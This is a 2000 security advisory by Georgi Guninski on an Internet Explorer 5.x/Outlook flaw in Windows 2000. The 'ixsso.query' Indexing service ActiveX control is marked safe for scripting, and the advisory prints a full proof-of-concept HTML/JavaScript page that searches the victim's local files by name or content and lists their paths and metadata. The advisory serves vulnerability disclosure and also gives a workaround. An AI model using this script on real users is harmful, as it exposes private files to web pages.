guninski27.txt

`Georgi Guninski security advisory #27, 2000  
  
IE 5.x Win2000 Indexing service vulnerability  
  
Systems affected:  
IE 5.x/Outlook/Outlook Express - Windows 2000 with Indexing service  
started  
  
Risk: Medium  
Date: 10 November 2000  
  
Legal Notice:  
This Advisory is Copyright (c) 2000 Georgi Guninski. You may distribute  
it unmodified. You may not modify it and distribute it or distribute  
parts of it without the author's written permission.  
  
Disclaimer:  
The opinions expressed in this advisory and program are my own and not  
of any company.  
The usual standard disclaimer applies, especially the fact that Georgi  
Guninski  
is not liable for any damages caused by direct or indirect use of the  
information or functionality provided by this advisory or program.  
Georgi Guninski, bears no responsibility for content or misuse of this  
advisory or program or any derivatives thereof.  
  
Description:  
  
There is a security vulnerability in IE 5.x/Outlook/Outlook on Windows  
2000 with Indexing service  
started (it is not started by default) which allows searching for files  
with specific name (wildcards are allowed) or content.  
Combined with other local file reading vulnerabilities this may be  
danegorous, especially the  
feature of searching for files that contain certain content.  
  
  
Details:  
The problem is the "ixsso.query" ActiveXObject which is used to query  
the Indexing service and  
surprisingly it is marked safe for scripting.  
  
  
The code is:  
  
--------indexserv1.html-------------------------------------------  
<INPUT TYPE="BUTTON" VALUE="Search"  
onclick="g(document.all.query.value)">  
<INPUT TYPE="BUTTON" VALUE="Find *.txt files" onclick="g('@filename =  
*.txt')">  
<BR>  
<SCRIPT>  
function g(q1)  
{  
  
qu=new ActiveXObject("ixsso.query");  
  
qu.Catalog="System";  
//qu.query="@contents name";  
//qu.query="#filename .htm or name near test";  
//qu.query='@filename = *.doc ';  
qu.query=q1;  
  
qu.Columns="filename, path, doctitle, doccomments, docauthor, size";  
  
rs=qu.CreateRecordset("nonsequential");  
//alert("Records: "+rs.RecordCount);  
  
doc=window.frames[0].document;  
doc.writeln("SEARCH RESULTS Records: "+rs.RecordCount+"<BR>");  
doc.writeln("<TABLE BORDER=2>");  
doc.writeln("<TR><TD>Path</TD><TD>size</TD><TD>DocAuthor</TD><TD>DocTitle</TD></T  
R>");  
while (!rs.EOF)  
{  
doc.writeln("<TR><TD><A TARGET='_blank'  
HREF='file://"+rs("Path")+"'</A>"+rs("Path")+"</TD><TD>"+rs("size")+"</TD><TD>"+r  
s("DocAuthor")+"</TD><TD>"+rs("DocTitle")+"</TD></TR>");  
rs.MoveNext();  
}  
doc.writeln("</TABLE>");  
  
}  
//setTimeout("g()",1000);  
</SCRIPT>  
  
<IFRAME WIDTH=700 HEIGHT=400 SRC="about:blank"></IFRAME>  
---------------------------------------------------------------------  
  
  
  
Workaround:  
Disable Active Scripitng or Indexing service  
  
Demonstration is available at:  
http://www.guninski.com/indexserv1.html  
  
Vendor status:  
Microsoft was contacted on 6 November  
  
Regards,  
Georgi Guninski  
http://www.guninski.com  
`